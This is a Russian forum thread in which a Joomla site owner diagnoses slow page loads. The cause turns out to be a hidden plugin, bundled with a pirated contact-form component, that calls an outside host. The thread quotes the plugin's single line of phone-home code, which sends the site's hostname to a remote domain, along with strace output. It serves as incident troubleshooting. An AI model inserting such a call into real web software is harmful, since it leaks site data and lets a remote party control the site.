Бесконечная загрузка двух сайтов - Общие вопросы по расширениям Joomla

Всем привет. Столкнулся с проблемой: уже 4 ночь подряд Яндекс метрика сигнализирует мне, что сразу два моих сайта недоступны. Продолжается это дело по 1-2 часа. Связался с поддержкой хостинга. Они ответили мне следующее:

Скрипты сайтов  пытаются подключится к удаленному серверу 91.210.165.88 , который в данный момент недоступен, из-за этого и медленно загружаются сайты.
connect(4, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("91.210.165.88")}, 16) = -1 EINPROGRESS (Operation now in progress)
poll([{fd=4, events=POLLIN|POLLOUT|POLLERR|POLLHUP}], 1, 60000

Что это может быть за IP адрес и с какой целью туда обращаются скрипты сайта понять никак не могу. У меня несколько сайтов на Joomla 3.6.5. Проблемы только с двумя. Когда айпишник 91.210.165.88 работает в браузере, и сайты у меня отлично работают. Когда нет - страница загружается по 2 минуты.

Поискал в сети информацию. Обнаружил, что полгода назад у человека была подобная проблема с этим IP адресом и Joomla (https://www.weblancer.net/projects/veb-programmirovanie-31/pochistit-joomla-sajt-ot-virusov-774949/). Он предполагал вирус, но судя по отзыву на работу, дело оказалось в глючном модуле оплаты («Думали что на сайте вирус, оказался глючный модуль оплаты, который перестал работать по непонятным причинам и тормозил весь сайт».) У меня никаких модулей оплаты нет в принципе.

Что это за модуль, плагин или компонент понять никак не могу. Ночью пытался отключать всё подозрительное - не помогало. На всякий случай проверил все файлы архива на предмет нахождения в них текстового фрагмента - IP адреса 91.210.165.88 - нашлось лишь одно упоминание в файле strace.log корня сайта: connect(4, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("91.210.165.88")}, 16) = -1 EINPROGRESS (Operation now in progress)

Какие наводящие вопросы ещё могу задать поддержке хостинга не понимаю. Как решить вопрос тоже...

P.S: Вот что сейчас добавила поддержка:

«Здравствуйте.
Скрипт выполняет запрос к стороннему сайту:
sendto(6, "GET /?d=SITENAME.ru HTTP/1.0\r\n", 36, MSG_DONTWAIT, NULL, 0) = 36
sendto(6, "Host: gene7conf.com\r\n", 21, MSG_DONTWAIT, NULL, 0) = 21

по сути загружает эту страницу http://gene7conf.com/?d=sitename.ru

Код который выполняет это запрос находится в файле httpdocs/plugins/system/section/section.php
Конкретно вот этот участок кода:
$Conf = @file_get_contents('http://gene7conf.com/?d=' . $_SERVER['HTTP_HOST']);

Судя по всему, это какой то плагин CMS.»

ну это плагины системной группы.
в стандартном дистрибе точно нет такого.
имхо, это вирусня.
или в админке смотрите, что это за плагин, или в этой папке должен быть xml  с описанием

Уже посмотрел все файлы архива сайта на наличие фрагмента System - Section через Total Comander. Обнаружил два файла:

\administrator\components\com_flexycontactplus\helpers\default Info.php
и
\installation\sql\site.s06

Понятно, что дело в компоненте FlexyContactPlus. Был грех давным давно установил этот варез, а замену именно ему так руки и не дошли найти. Но как теперь избавиться от заразы?

ну вы сами себе поднасрали, простите за мой французский
что уж, не найти бесплатной обратной связи?
сносите, ставьте нормальный компонент и мониторьте.
можно прогнать архив через вирустотал, до кучи

В общем, удалил сам компонент и явно связанный с аномальным поведением плагин «System - Section». Буду наблюдать, что дальше.

Самое интересное, что варез изначально был установлен на этих сайтах, когда только начал разбираться с Joomla. Потом понял, насколько это опасно, поменял шаблон со скачанного неизвестно где на модифицированный мною же стандартный Protostar, поудалял кучу всяких сомнительных расширений. А вот с этим Flexy Contact Plus просто понадеялся на авось. Уж больно функциональный и полезный компонент оказался (среди бесплатных таких нет). Ну и вот результат... 1,5 года работал - и тут на тебе. Если уж делать всё легально, то без исключений.